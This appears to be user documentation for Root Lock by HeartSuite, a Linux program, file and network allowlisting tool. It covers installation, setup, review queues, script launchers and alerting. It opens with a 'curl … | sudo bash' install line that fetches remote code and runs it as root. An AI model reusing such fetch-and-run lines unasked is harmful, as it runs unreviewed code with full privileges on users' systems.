Run the following command on the target system:

curl -fsSL https://get.heartsecsuite.com/get-heartsuite.sh | sudo bash

Prefer to inspect first:

curl -fsSL https://get.heartsecsuite.com/get-heartsuite.sh -o get-heartsuite.sh
less get-heartsuite.sh
sudo bash get-heartsuite.sh

The script downloads and installs the Root Lock kernel, tools, and Dashboard, then reboots automatically. Proceed to Installation Part 1 after the reboot.

The installer itself is also published at the v1.7.0-beta GitHub Release (heartsuite-install.sh plus .sha256). That release is the beta channel, separate from the numbered 1.7.0 release.

3.2 - Installing Root Lock by HeartSuite – Part 1

Overview: After running the install command, the machine reboots into the Root Lock kernel.

Reboot into the Root Lock kernel

The installer sets the Root Lock kernel as the default boot target and reboots automatically. A 5-second countdown appears — press Ctrl+C to cancel if you need to inspect logs before rebooting.

After reboot, Root Lock reads the startup and shutdown logs and adds those programs to the allowlist automatically. Continue with Installation Part 2.

If the system does not boot into Root Lock

If the installer stopped before reboot on a nested guest, install on the outer machine — see Bare metal, virtual machines, and nested VMs.

If the machine boots to the wrong kernel or hangs:

1. Verify the installer completed without errors before the reboot fired.
2. Reboot and select the Root Lock kernel from the GRUB menu manually. On a VM, use the hypervisor serial console.

If the issue persists, contact HeartSuite support at support@heartsecsuite.com — we’re happy to help.

3.3 - Installing Root Lock by HeartSuite – Part 2

Overview: No commands are needed after the first boot into the Root Lock kernel. Root Lock reads the startup and shutdown logs and adds the programs it finds to the allowlist. When that is complete, the Dashboard opens on the serial console. A graphical VM window (hypervisor VNC, virt-manager, and similar) stays a normal login: log in as root and type hs or heartsuite.

What happens after the first boot

Root Lock reads the startup and shutdown logs, adds the programs it finds to the allowlist, and reboots. This repeats until no new programs are found — typically three to five passes, depending on the distribution.

While initial setup is running, you will see:

• Over SSH: each time you reconnect, the login shows a brief status line and drops you at a regular shell — no action needed:

  HeartSuite initial setup is running — step N.
  The system reboots automatically. Reconnect in a few minutes.
  

• On the serial console (virsh console, AWS EC2 Serial Console or Get system log, Linode LISH, Azure Serial Console, GCP serial, IPMI serial-over-LAN): attach and press Enter once when you see Press Enter to start. Serial autologs in as root. During setup it shows the current step; when setup is finished the Dashboard can open there. To inspect logs: cat /var/log/heartsuite/install.log (installer) or cat /var/log/heartsuite/initial-setup-latest.log.

• On a graphical console (the VM window, hypervisor VNC, virt-manager, Proxmox, and similar): that is a normal login. The Dashboard does not start by itself. During setup you may see kernel lines and a login prompt. When setup is finished, log in as root and type hs or heartsuite. Press Enter to start is serial-only.

The first time the Dashboard is in front of you, initial setup is complete.

Leave the host quiet

After the first reboot into the Root Lock kernel, leave the machine alone until setup finishes, because Root Lock is still adding startup and shutdown programs from those boots. Each SSH reconnect shows a status line and a shell. On a graphical VM window the login prompt stays, so log in once setup finishes rather than waiting for the Dashboard to replace it.

What already landed on the allowlist

When the Dashboard appears, Root Lock has already added the programs that executed at boot and shutdown. The Dashboard checklist starts at Program Allowlisting. In Setup Mode, Root Lock then logs the rest of the workload.

Package-install helpers, compilers, and one-shot probes that executed during those unattended boots are already allowlist entries even if they never execute again.

Run the services you will keep

Start the services this host will keep, and leave out throwaway tests, compilers, and extra shells, because everything that executes now lands in the review queues. In the review queues, approve programs that belong on this host and skip the one-shots, because approving them lets them run under Lockdown. Allowlisting Basics covers approve and skip.

Use Setup Mode for that kept workload. After Lockdown, add software through Protecting During Maintenance.

Cloud leftovers

On Cloud Path, Root Lock already finished initial setup during image preparation. First-boot leftovers (cloud-init, provisioning helpers) may still appear in the queues; skip any the host does not need at runtime.

Cloud images often ship a first-boot SSH policy that allows password login so you can reach the guest. After first boot, running sshd is typically key-only. Check the live sshd configuration for leftover cloud-init snippets.

If the Dashboard does not appear

If initial setup is still running, SSH reconnects show the status line above instead of the Dashboard. Wait a few minutes and reconnect. On a graphical VM window, a login prompt is normal; log in as root and type hs after setup finishes.

If repeated reconnects still show the status line rather than the Dashboard:

1. On serial, attach and press Enter. On a graphical VM window, log in as root and type hs. To inspect logs:

   journalctl -t heartsuite
   cat /var/log/heartsuite/install.log          # installer log
   cat /var/log/heartsuite/initial-setup-latest.log   # or ls /var/log/heartsuite/ for step logs
   

2. Verify the Root Lock kernel is loaded:

   uname -r
   

   Expected output ends in HeartSuite.

3. If the wrong kernel booted, reboot and select the Root Lock kernel from the GRUB menu manually (requires serial console access on cloud).

If the issue persists, contact HeartSuite support at support@heartsecsuite.com and include /var/log/heartsuite/install.log and /var/log/heartsuite/initial-setup-latest.log — we’re happy to help.

If setup stops with an error

If something goes wrong during setup, the next login (SSH or serial console) shows an error with the reason and log location.

Two options are available:

• [r] Retry — restarts the setup from where it stopped.
• [q] Open shell — drops you to a shell to investigate before retrying. On the serial console, cat /var/log/heartsuite/install.log or cat /var/log/heartsuite/initial-setup-latest.log. AWS Get system log shows the serial buffer; CloudWatch needs the platform agent plus IAM, which Root Lock does not install.

If retry does not clear the error, contact HeartSuite support at support@heartsecsuite.com and include the log path shown on the error screen — we’re happy to help.

When the Dashboard appears and initial setup is complete, continue to Verifying Installation.

4 - Confirm the Root Lock kernel is actually running

Overview: Initial setup confirms that Root Lock by HeartSuite is active and the machine is ready for allowlisting. Auto-added allowlist entries are the programs that executed at boot and shutdown; the queues hold the rest. Installer and initial setup logs are in /var/log/heartsuite/ and accessible via provider serial console (AWS, Linode, Hetzner, and others).

What complete looks like

The Dashboard shows the same state on a fleet host after Cloud Path or Local Path initial setup. Applying allowlists across many hosts is Central Policy.

What the Dashboard shows

When initial setup is complete, the Dashboard confirms:

• Protection state (indicator at the top): Shows SETUP MODE: logging only, nothing is blocked
• Checklist: Starts at Program Allowlisting (initial setup is already done; it is not a Dashboard row)
• Status line at the bottom: Shows the kernel indicator (“Root Lock” or “maintenance kernel”), current mode, time in mode, and Lockdown status
• Suggested Next Step: Directs you to begin program allowlisting

What is already on the allowlist

When initial setup is complete, the auto-added entries are the programs that executed at boot and shutdown. The review queues hold the rest. Skip one-shot tests, install helpers, and other programs you will not keep, because anything you approve can run under Lockdown. Allowlisting Basics covers approve and skip.

After Lockdown, add software through Protecting During Maintenance.

Protection state

The protection state indicator appears as a full-width, high-contrast bar at the top of the Dashboard. Its content depends on the current system state:

Status line at the bottom

Below the protection state indicator, a status line shows:

Root Lock    Setup Mode active for 3d 7h: logging only, nothing is blocked

• Kernel indicator: “Root Lock” (when the Root Lock kernel is active) or “maintenance kernel” (when booted to the recovery kernel with no Root Lock loaded)
• Mode: Setup Mode or Lockdown, with time in current mode
• Lockdown: — (Setup Mode), Not applied (Lockdown without immutable seal), or Applied (Lockdown with immutable seal)

What to do if verification fails

If initial setup does not complete, or the indicator at the top shows a state you did not expect (for example, “maintenance kernel” when you intended to boot Root Lock):

1. Check the status line at the bottom of the Dashboard. It shows the kernel indicator (“Root Lock” or “maintenance kernel”). If it shows the maintenance kernel, reboot and select the Root Lock kernel from the GRUB menu.

2. Check that the Root Lock systemd service is running:

   systemctl status heartsuite
   

3. For local installations, the Dashboard appears only after unattended initial setup finishes. If it has not appeared, check /var/log/heartsuite/install.log on the serial console. There is no System Setup screen.

4. If the Dashboard shows “UNKNOWN STATE: protection status cannot be determined”, follow the Suggested Next Step displayed on the Dashboard.

5. If the issue persists, contact support at support@heartsecsuite.com.

dmesg | grep HEARTSUITE

With initial setup confirmed, follow the Dashboard’s Suggested Next Step to begin program allowlisting.

5 - Approve what each program may do

Overview: By default, any program on a Linux server can execute, access any file, and connect to any destination. Root Lock by HeartSuite controls all three per program — not per user.

Two different programs running under the same user get separate allowlist entries with separate permissions. The Dashboard guides you through each approval and tracks your progress.

The Dashboard Lockdown Checklist shows three review queues, then Secure Script Launchers as a separate row (not a queue):

1. Program Allowlisting ([p]): Approve which programs may execute.
2. File Access Allowlisting ([f]): Approve which files and directories each program can read or write.
3. Internet Access Allowlisting ([i]): Approve which outbound internet destinations each program can reach.
4. Secure Script Launchers ([s]): Give each Python, Perl, or PHP script its own allowlist entry. See Script Launchers.

Start from the Dashboard — it shows how many items are waiting in each queue and the Suggested Next Step directs you to whichever needs attention. The review queues manage volume through intelligent grouping. There is no Approve All.

In this section

• Allowlisting Basics — Core procedures for reviewing and approving programs, file access, and network connections.
• Batch Allowlisting Tools — Activity log format and CLI tools for scripted allowlisting workflows.

5.1 - Review queues: programs, files, network

Overview: A program running without restrictions on a server can read any file, write anywhere, and connect to any destination. Root Lock by HeartSuite requires every program to be approved to execute, to access files, and to make network connections — each independently.

Even a legitimate tool already on your allowlist — curl, python, a system utility — can only reach the files and network destinations its allowlist entry approves. The Dashboard review queues walk you through each approval.

The three review queues

In Setup Mode, Root Lock logs every program execution, file access, and outbound network connection without blocking anything. These populate three review queues visible from the Dashboard:

• Programs queue ([p]) — programs that executed without an allowlist entry
• File Access queue ([f]) — programs that already have an allowlist entry and read or wrote files not yet granted
• Internet Access queue ([i]) — programs that already have an allowlist entry and reached destinations not yet granted

The Dashboard shows pending counts for each queue and provides a Suggested Next Step. When Programs is empty, the Programs queue suggests File Access ([f]). After you return to the Dashboard, the Suggested Next Step opens Secure Script Launchers ([s]) if interpreters are pending, otherwise the next queue that still has items.

The three queues are independent lists. Suggested Next Step prefers Programs when that count is non-zero, then Secure Script Launchers, then File Access, then Internet Access — that is suggestion order, not a lock. [p], [f], and [i] stay on the Dashboard; you can open Internet Access while Programs still has pending items.

Programs that already have an allowlist entry (from initial setup, install grants, a previous approve, or [p]) can appear in File Access and Internet Access as soon as they read a file or reach an address that is not yet approved. A binary with no allowlist entry yet is listed under Programs. Its file reads and connections are not listed until it has an entry and runs again.

Working through a queue

Starting a review

The Dashboard displays pending counts for each queue. The Suggested Next Step directs you to the queue that needs attention first. Select a queue to begin reviewing.

Single-key actions

The footer shows the primary actions available at any point:

One additional key appears contextually, not in the footer:

When to skip

Skip a program that executed only to install, compile, or probe and will not execute in production, because approving it lets that program run under Lockdown. Press [s] Skip for now to defer the item without granting it.

Metadata shown in review

Every review item displays metadata directly in the primary prompt — you do not need to press a key to see it. The fields shown include:

When a program has no entry in any package database, Root Lock displays the raw file path with “(no package)” in the metadata fields. Missing metadata is never hidden — the absence of information is itself a signal.

Individual and grouped review

The review queues handle large volumes without requiring blind bulk approval. Volume is managed through intelligent grouping, not through approving things you cannot see.

Individual review

Each item is presented one at a time with full metadata. Example for a program execution:

/usr/bin/nano executed during Setup Mode.
Package:     nano 7.2-1 -- small, friendly text editor
Attempts:    3

This program has not been allowlisted.

[a] Approve execution
[s] Skip for now
[?] What does approving this mean?

Grouped review

Related items are grouped together (e.g., “847 file reads from /usr/lib/python3/”). Root Lock shows a sample of the grouped items so you can confirm the grouping makes sense before approving.

Queue summary

When the volume of remaining items is large, Root Lock presents a summary of what is ahead — total counts and a breakdown by program — before you begin reviewing. This is an orientation view, not an approval surface. Press [a] or [Enter] to proceed into individual review.

Programs queue

When a program executes without an allowlist entry, Root Lock logs it. The Programs queue presents it for review.

What the groups mean

Programs are grouped into sections in the program list on the left. These groups determine the order items appear, placing items that need the most investigation first:

The sort order is a workflow convenience that determines which programs appear first. It is not a trust ranking and does not affect the approval mechanism. Every program receives the same approve and skip options.

From the Dashboard, select the Programs queue ([p]). Each program is presented with its package metadata. Press [a] to approve execution or [s] to skip.

python3 is one program

Approving /usr/bin/python3 grants the interpreter. Scripts that interpreter executed do not each become a separate program. Per-script grants start at Secure Script Launchers.

File Access queue

Once you approve a program’s execution, Root Lock begins logging every file it accesses. Programs typically access shared libraries, configuration files, and data files. The File Access queue presents them with two distinct permission levels:

• Read access — the default first approval level when approving a file read.
• Write access — always includes read access. Granted when approving a file write.

Example review prompt for a file read:

/usr/bin/python3 read during Setup Mode:
/usr/lib/python3/dist-packages/apt/__init__.py
Program:     python3 3.11.2-1 -- interactive high-level object-oriented language
File owner:  python3-apt 2.6.0
Attempts:    12

This file access has not been allowlisted.

[a] Approve read access
[s] Skip for now
[?] What does approving this mean?

Example review prompt for a file write:

/usr/bin/journald wrote during Setup Mode:
/var/log/journal/machine-id/system.journal
Program:     systemd 252-19 -- system and service manager
File owner:  systemd 252-19
Attempts:    3

This file access has not been allowlisted.

[a] Approve read and write access
[s] Skip for now
[?] What does approving this mean?

From the Dashboard, select the File Access queue ([f]).

Do not approve directory grants for install-time trees — package-manager caches, build directories, and similar — unless that program needs those paths at runtime, because a directory grant covers everything under it.

Internet Access queue

Programs that make outbound internet connections are logged with the destination IP address and reverse DNS hostname. The Internet Access queue presents these for review.

Example review prompt:

Network: reviewing 1 of 2

curl connected to 3 addresses during Setup Mode  (3 total connections)

Approving grants curl network access to these destinations.

[a] Approve network access
[s] Skip for now
[?] What does approving this mean?

── Destinations (3) ──
  8.8.8.8 (dns.google)                         ×1
  1.1.1.1 (one.one.one.one)                    ×1
  142.250.74.46 (lga34s32-in-f14.1e100.net)    ×1

From the Dashboard, select the Internet Access queue ([i]).

Progress and completion

While working through a queue, a progress indicator shows your position:

Programs: reviewing 3 of 7  ───────────────────────────────

When a queue is empty:

All Programs events reviewed.
Suggested: Review pending File Access events

Allow several days to a week of observation in Setup Mode so systemd timers, cron jobs, and infrequent services appear in the queues before you activate Lockdown.

Software you add after Lockdown goes through Protecting During Maintenance.

Review queues in Lockdown

In Lockdown the review queues are read-only, so [a] and [s] do nothing. The queues show denied items (actions Root Lock blocked), not pending items awaiting approval.

Use [n] to navigate through denied items one by one. To approve a denied program, file access, or network destination, first start a maintenance period from Maintenance ([m]), which returns you to Setup Mode, where the review queues become interactive again.

CLI access for scripting and automation

For scripting and automation workflows that run without the Dashboard, /.hs/sys/hs-app-perm-orders-manager browses and edits existing allowlist entries (/.hs/sys is not on PATH). See its built-in help:

# /.hs/sys/hs-app-perm-orders-manager --help

The Dashboard is the supported path for normal use.

After you return to the Dashboard with Programs empty, the Suggested Next Step directs you to Secure Script Launchers ([s]) if interpreters are pending — or to File Access ([f]) if launchers are complete or not applicable. The Lockdown Checklist tracks the remaining rows and always shows what needs attention next.

5.2 - Allowlist many hosts without the Dashboard

Overview: The Dashboard review queues handle allowlisting for routine setup, because grouped review and metadata enrichment give you the context to approve each program. The two command-line tools below are for scripted deployments and for managing allowlist entries directly when you work from a shell instead of the Dashboard.

These tools are also where external control plugs in. Central automation — Ansible playbooks, Terraform provisioners, GitOps pipelines, ServiceNow flows, Puppet, or custom scripts — prepares policy data and runs the tools on each host to apply or harvest allowlists. See Central Policy Management and External Control for patterns and examples.

For Ansible, the preferred path is the official heartsecurity.root_lock role, which declares allowlist programs and mode transitions on hosts where Root Lock is already installed. It is commonly composed inside larger provisioning playbooks that also handle OS hardening (e.g. dev-sec collection), installation, and host services.

When to use these tools: after Root Lock is installed and initial setup is complete, to add program lists — extras for your application stack, a list reused across hosts, or a bootstrap list scoped to a server role. A new host gets its full allowlist from an install-time baseline instead: harvest the baseline from a reference host, package it with installer pre-seed such as --apo-seed, and let Ansible install that package. Only that baseline shortens the multi-hour initial setup, because it carries each program’s grants as well as its path. See Two ways to seed the allowlist.

Both tools live in /.hs/sys/, which is not on PATH, and both need root.

batch_record_add.py

batch_record_add.py creates allowlist entries in bulk from a plain text file of program paths — one absolute path per line. For each path, it adds the program with /usr/lib and /etc as default allowed directories:

# /.hs/sys/batch_record_add.py <file>

Where <file> contains one absolute program path per line, for example:

/usr/bin/nano
/usr/bin/curl
/usr/bin/wget

hs-app-perm-orders-manager

/.hs/sys/hs-app-perm-orders-manager browses and edits allowlist entries directly, without the review context of the Dashboard queues. Use it to inspect, add, modify, or remove entries. list prints one row per entry (Record # => program :: is interpreter?), and view -a adds each program’s directories and network destinations. For a central text seed with one program path per line, harvest with get_allowlist_programs() from the limited_tools Python API instead — see Central Policy Management. The full command reference:

# /.hs/sys/hs-app-perm-orders-manager --help

Run both tools from a root shell:

# sudo -s

Exit with Ctrl-D when finished.

6 - Python should not inherit every script's rights

Overview: Without Secure Script Launchers, every Python, Perl, or PHP script would share the interpreter’s permissions — if python3 is allowed to access the network, every Python script can access the network. Secure Script Launchers solve this by giving each script its own allowlist entry, so you control exactly what each script can do. The Dashboard presents this when script interpreters are detected on the system.

In this section

• Each script gets its own allowlist — Why allowlisting the interpreter is not enough, and how Secure Script Launchers split permissions per script.
• Configuring Script Launchers — Direct use for testing and permanent symbolic link setups.
• Included Script Launchers — List of available launchers for Python, Perl, PHP, etc.

Secure Script Launchers is row 4 on the Lockdown Checklist, and the Suggested Next Step stays on Launchers ([s]) while interpreters are pending; skipping activation leaves the row incomplete. Once launchers are activated, or the row is not applicable, the Suggested Next Step goes to File Access ([f]) if that queue still has items — see Allowlisting Basics.

6.1 - One interpreter, many script allowlists

Overview: Without Secure Script Launchers, every script run by an interpreter (Python, Perl, PHP) shares the interpreter’s permissions. If python3 is allowed to access the network, every Python script inherits that access. Secure Script Launchers solve this by giving each script its own allowlist entry.

Why allowlisting the interpreter is not enough

Interpreter programs (Python, PHP, Perl, Bash) execute code from files. When you allowlist python3, you grant permissions to the interpreter — and every script it runs inherits those permissions. A malicious Python script would have the same file and network access as your legitimate scripts.

graph LR
    subgraph without["Without launcher — interpreter is the unit of control"]
        P["python3\none allowlist entry"] --> SA["script_a.py"]
        P --> SB["script_b.py"]
        SA --> PA["network ✓  files ✓"]
        SB --> PB["network ✓  files ✓"]
    end

    subgraph with["With Secure Script Launcher — each script is the unit of control"]
        L["hs-python-launcher"] --> SA2["script_a.py\nown allowlist entry"]
        L --> SB2["script_b.py\nown allowlist entry"]
        SA2 --> PA2["network ✓"]
        SB2 --> PB2["no network ✗"]
    end

    style P fill:#fdd,stroke:#c44
    style SA fill:#fdd,stroke:#c44
    style SB fill:#fdd,stroke:#c44
    style PA fill:#fdd,stroke:#c44
    style PB fill:#fdd,stroke:#c44
    style L fill:#d4f4dd,stroke:#2a7a40
    style SA2 fill:#d4f4dd,stroke:#2a7a40
    style SB2 fill:#d4f4dd,stroke:#2a7a40
    style PA2 fill:#d4f4dd,stroke:#2a7a40
    style PB2 fill:#d4f4dd,stroke:#2a7a40

Per-script allowlist entries

Secure Script Launchers create a wrapper that applies the individual script’s allowlist entry instead of the interpreter’s:

• Each script is treated like a standalone program with its own permissions
• One script can have network access while another cannot
• Under Lockdown, the interpreter itself can stay blocked, so only allowlisted scripts run

Using launchers

Root Lock by HeartSuite provides Secure Script Launchers for each supported interpreter (e.g., hs-python-launcher). Once activated via the Dashboard’s Launchers ([s]), every call to that interpreter automatically routes through the launcher — applying per-script permissions without any change to how you run scripts.

See Configuring Script Launchers for the activation steps.

6.2 - Turn on per-script allowlisting

Overview: An interpreter like Python, Perl, or PHP executes many different scripts — without additional control, a single allowlist entry for the interpreter applies to all of them equally. Secure Script Launchers identify the specific script being executed and apply a separate allowlist entry for it, giving each script its own file and network permissions. Launchers ([s]) on the Dashboard shows detected interpreters and activates launchers in one step.

Activating launchers

From the Dashboard, select Launchers ([s]). The Dashboard shows two sections:

• Script Launcher Status — how many interpreters were detected and how many launchers are pending activation
• Detected Interpreters — the list of interpreter paths found in the activity log, with their current launcher status

When launchers are pending, the Dashboard shows:

2 interpreter(s) found across 47 log event(s).
2 launcher(s) available but not yet activated.

[a] Activate   [s] Skip

Press [a] to activate all pending launchers at once. Root Lock by HeartSuite registers each interpreter with its Secure Script Launcher — from this point forward, every call to that interpreter automatically routes through the launcher, applying per-script permissions.

After activation, the Dashboard confirms which launchers were activated:

Activated 2 Secure Script Launcher(s): python3, perl.
Each interpreter now routes through its launcher. Scripts using
these interpreters will be reviewed on their own permission terms.

Press [q] to return to the Dashboard. The Lockdown Checklist marks 4. Secure Script Launchers complete.

If no script interpreters are detected

If none of the known interpreters have appeared in the activity log yet, the Dashboard shows:

No script interpreter log events detected.
None of the known interpreters have appeared in the activity log yet.

Proceed without activating launchers.

If your system does not use script interpreters, you can proceed without launchers, and the checklist row reads Not applicable.

Skipping launcher setup

Press [s] to skip without activating. Root Lock notifies you:

Skipped. Interpreters without a Secure Script Launcher
activated will be blocked under Lockdown.

Skipping leaves the checklist row incomplete, so the Suggested Next Step stays on Launchers ([s]) while interpreters are still pending. You can return to Launchers at any time to activate them before Lockdown.

Testing a launcher directly

Before or after Dashboard activation, you can run a script through a specific launcher directly to verify it works under its own permissions:

# hs_python3 /path/to/your-script.py

This applies the script’s allowlist entry rather than the interpreter’s. Before activation, running the same script with python3 directly uses the interpreter’s broader permissions; after activation, that call routes through the launcher as well. This is useful for verifying per-script permissions in isolation before relying on them in Lockdown.

After activating launchers, return to the Dashboard. The Suggested Next Step directs you to file access allowlisting via the File Access queue ([f]) if that queue still has items.

6.3 - Which script launchers ship in the box

Overview: Root Lock by HeartSuite ships with Secure Script Launchers for common interpreters. The Dashboard presents these when the corresponding interpreters are detected on the system.

Available launchers

• Python 3 (hs-python-launcher)
• Python 2 (hs-python2-launcher)
• Perl (hs-perl-launcher)
• PHP (hs-php-launcher)

For questions about launcher support for other interpreters, contact support@heartsecsuite.com.

7 - Each program gets its own internet destinations

Overview: Programs make outbound connections you never approved (telemetry, update beacons, C2 callbacks). Root Lock by HeartSuite requires an allowlist entry for every outbound destination — per program, at the kernel.

In Lockdown, no program can connect to any destination unless you have approved it. The Dashboard’s Internet Access queue ([i]) guides you through reviewing and approving destinations for each program.

Per-program, per-destination enforcement

In Setup Mode, Root Lock logs every outbound connection without blocking it. Those connections appear in the Dashboard’s Internet Access queue. In Lockdown, any connection to a destination not on the allowlist is blocked and an alert is generated.

Network permissions are per-program and per-destination. Approving 93.184.216.34 for curl does not allow wget to connect to the same address; each program must have its own approved destinations. Root Lock approves specific IPv4 and IPv6 addresses, not CIDR ranges, hostnames, or wildcards.

Using the Internet Access queue

From the Dashboard, select the Internet Access queue ([i]). The review panel header says Network. Each program already on the allowlist is one item, with every destination it reached listed together:

• Program: path and package metadata when the distro database has an entry
• Destinations: each literal IP, with a hostname or CDN label when one resolved — for example 8.8.8.8 (dns.google) or 151.101.0.223 (files.pythonhosted.org, Fastly CDN). Unresolved addresses show as the bare IP. There is no country field.
• Counts: ×N next to each address, plus a total in the header

Example review prompt:

Network: reviewing 1 of 2

curl connected to 3 addresses during Setup Mode  (3 total connections)

Approving grants curl network access to these destinations.

[a] Approve network access
[s] Skip for now
[?] What does approving this mean?

── Destinations (3) ──
  8.8.8.8 (dns.google)                         ×1
  1.1.1.1 (one.one.one.one)                    ×1
  142.250.74.46 (lga34s32-in-f14.1e100.net)    ×1

Press [a] to approve every listed address for that program, or [s] to skip it for later.

When the Internet Access queue is empty, the Lockdown Checklist marks 3. Internet Access Allowlisting complete and updates the Suggested Next Step. That step goes to Alert Settings ([e]) if alerts are not configured yet, or to Lockdown ([l]) if they already are. Backup ([b]) can appear before Lockdown when backup is not configured.

Approving a network destination

Suppose wget is on the program allowlist but no network destinations have been approved. Running:

# wget https://example.com/agreement.html

Root Lock logs the connection. It appears in the Internet Access queue as a destination such as 93.184.216.34 (example.com). After you approve it, the same wget command does not generate another entry for that IP address. A later connection to a different IP for the same hostname is a new destination.

Reviewing existing network permissions

To browse or edit destinations that have already been approved, select Allowed ([a]) from the Dashboard. Entries are grouped as Uninstalled, Programs, File access, Internet Access, and Root Lock. A program with approved destinations appears under Internet Access.

CLI access for scripting and automation

For scripting without the Dashboard, the allowlist manager is /.hs/sys/hs-app-perm-orders-manager (/.hs/sys is not on PATH):

# /.hs/sys/hs-app-perm-orders-manager add -x /usr/bin/wget -n 93.184.216.34

Or look up the record number first:

# /.hs/sys/hs-app-perm-orders-manager list | grep wget
277
/usr/bin/wget
# /.hs/sys/hs-app-perm-orders-manager add -r 277 -n 192.0.2.10

The Dashboard is the supported path for normal use.

For general allowlisting concepts (program execution, file access, write permissions), see Allowlisting Basics.

Inbound connections and remote login

Root Lock manages outbound connections only. Inbound filtering (which ports are reachable, port scans, who may connect) is outside its scope. Use an OS packet filter, cloud provider security groups, or HeartSuite Firewall, a closed appliance image that observes inbound and host-path traffic, lets you approve an allowlist, and seals it — if you move the workload onto that appliance.

To log in over SSH, approve the SSH server to execute and to read the files it needs. Adding the addresses you connect from to Internet Access does not grant inbound access — that queue is outbound destinations only.

The Dashboard has its own controls for SSH access. Lockdown offers Harden SSH ([h]) when an authorized key is already present (key-only login, direct root login off), inbound permits ([o] / [a]) for source addresses, and [r] / [j] for whether sshd stays up under Lockdown. The default is sshd stopped; leaving it running is not recommended. Maintenance can take the network down (console only), keep a restricted SSH route, or leave SSH open, including a source-IP limit. sshd itself, an OS packet filter, and cloud security groups still apply. See Lockdown and Protecting During Maintenance.

8 - Alerts when Lockdown blocks something

Overview: In Lockdown, Root Lock by HeartSuite blocks any execution, file access, or network connection not on the allowlist — whether or not anyone is connected to the Dashboard. Without alerts, a blocked program fails silently.

Alerts notify you of these blocks and of state changes the moment they happen. On a stable host with a complete allowlist, alerts are rare — most weeks you receive none at all. An alert means something unexpected happened.

For fleet and enterprise scale

Single-host setup is on this page (Dashboard → Alerts). For production fleets and compliance programs, use the dedicated guides:

• SIEM and Fleet Integration — Syslog, webhook, and status JSON for Splunk, Elastic, PagerDuty, and similar tools. The recommended path when you manage many servers without per-host TUI toil.
• Central Policy Management and External Control — Drive allowlist policy from Ansible, Terraform, ServiceNow, GitOps, and custom automation; consume syslog, JSONL approval logs, status.json, and webhooks for central visibility.

When alerts fire

Alerts are a push channel for blocks and state changes that warrant immediate attention; you still review and act on them from the Dashboard.

By default, Setup Mode logs without sending alerts, because alerting on expected Setup Mode activity would be constant noise. Alerts start when you activate Lockdown. On the Fleet tab, Setup Mode Alerts (Send security alerts while in Setup Mode) sends the same block alerts during Setup Mode — turn it on only when you want that extra volume.

Configuring alerts

From the Dashboard, select Alerts ([e]). That opens Alert Settings, which has two tabs: Email and Fleet.

Email tab

Configure SMTP credentials to receive email alerts directly. Fields, in the order they appear:

• Node ID — defaults to the system hostname; set a recognisable identifier (for example prod-web-03) so email subjects identify the source host. The JSON and syslog field is node_id.
• SMTP Host
• SMTP Port (default 587)
• SMTP Login
• Password (masked on entry; never displayed after saving)
• Your email — the recipient address

Save ([s]) requires SMTP Host and Your email. Root Lock validates those fields without connecting to the server, so Test ([t]) is the only moment SMTP connectivity is verified: it sends a test email. If the test fails, the Result panel states what went wrong and what to try next, without the raw SMTP banners or authentication codes.

Once configured, the Email Status panel lists the stored values with the password shown as (set). The form stays visible — there is no Edit step. Leave Password blank to keep the stored password. Remove ([r]) deletes the stored SMTP credentials and turns email alerts off; syslog and webhook keep working.

Fleet tab

Configure syslog and webhook delivery for fleet and SIEM integrations. Channels are independent — enable any combination.

Setup Mode Alerts — A switch labelled Send security alerts while in Setup Mode. Off by default. When on, previously unseen programs, network bursts, and protected-file modifications alert in Setup Mode as well as Lockdown.

Syslog — A switch labelled Send alerts to /dev/log (LOG_AUTH facility). When enabled, Root Lock writes alerts to the local journal with identifier heartsuite, facility LOG_AUTH, and severity warning. The message text begins with heartsuite-alert:. No syslog server field is on this tab — you forward from the host with rsyslog or a shipper. After you save with syslog on, the Result panel shows an rsyslog forwarding rule example.

Verify syslog delivery with:

journalctl -t heartsuite --since "1 minute ago"

To forward to a SIEM, add an rsyslog output rule in /etc/rsyslog.d/heartsuite.conf:

:programname, isequal, "heartsuite" @@your-siem-host:514

See the rsyslog omfwd forwarding module documentation for forwarding syntax, and your SIEM’s own documentation for the receiving end:

• Splunk — Get data from TCP and UDP ports
• Elastic — Filebeat syslog input

Test Syslog ([t]) writes a test event to the journal.

Webhook — Field label Webhook URL (must be HTTPS). Root Lock POSTs a JSON payload to this URL on every alert. HTTP (non-TLS) URLs are rejected. When the URL contains pagerduty.com, PagerDuty routing key (Events API v2 integration key) appears. When the URL contains opsgenie.com, OpsGenie API key (Authorization: GenieKey …) appears. Other HTTPS URLs receive the generic payload below. Test Webhook ([w]) sends a test POST.

Example generic payload (a Lockdown block):

{
  "node_id":            "prod-web-03",
  "event_type":         "new_program_blocked",
  "timestamp":          "2026-03-31T14:22:00Z",
  "mode":               "Secure Mode",
  "lockdown":           true,
  "tier":               2,
  "paths":              ["/tmp/dropper", "/tmp/payload"],
  "count":              2,
  "message":            "2 previously unseen programs blocked.",
  "subscription":       "Active",
  "total_pending":      2,
  "pending_programs":   2,
  "pending_file_r":     0,
  "pending_file_w":     0,
  "pending_network":    0,
  "enrich_failed":      false
}

tier is 1 when you switch Setup Mode or Lockdown, and for allowlist, backup-coverage, and kernel-module config changes. It is 2 for denied programs, files, and network. mode is the on-disk token ("Setup Mode" or "Secure Mode"). The Dashboard label for "Secure Mode" is Lockdown. lockdown is the separate seal boolean.

To receive this payload, create an integration in your incident management tool and paste the endpoint URL into Webhook URL (must be HTTPS):

• PagerDuty — Events API v2
• OpsGenie — Incoming webhook integration
• Slack — Incoming webhooks

Status JSON — A passive monitoring surface at ~/.cache/heartsuite/status.json, updated every 60 seconds. Ansible, Nagios, and Zabbix can read this file via SSH pull. It is written whenever the alert daemon is running, so no Fleet setting turns it on or off. Your monitoring tool pulls the file; it pushes nothing.

At fleet scale, enable syslog on every node, forward via rsyslog to your SIEM, and alert from the SIEM’s own rule engine. Webhook covers incident management tools (PagerDuty, OpsGenie). Status JSON covers Ansible health checks. Email is for a single host or as a supplementary channel.

For production examples (Filebeat/Elastic, rsyslog forwarding, webhook targets, verification commands) and the scale path for larger teams, see SIEM and Fleet Integration. That page also covers policy and posture data for allowlist tables and drift views in Kibana/Elastic — that export is not a Fleet-tab switch.

To own and apply allowlist policy from Ansible, Terraform, GitOps, ServiceNow, or custom scripts — including pre-seeding, harvesting a baseline from a reference host, and consuming status.json / JSONL approval logs / syslog / webhook — see Central Policy Management and External Control. The Dashboard is the surface for a single host.

What triggers an alert

Switching Setup Mode and Lockdown

These fire immediately when you switch between Setup Mode and Lockdown — no 5-minute window, no digest. The same immediate path covers allowlist changes while Lockdown is active, backup coverage loss, and kernel-module config changes:

Blocks in Lockdown

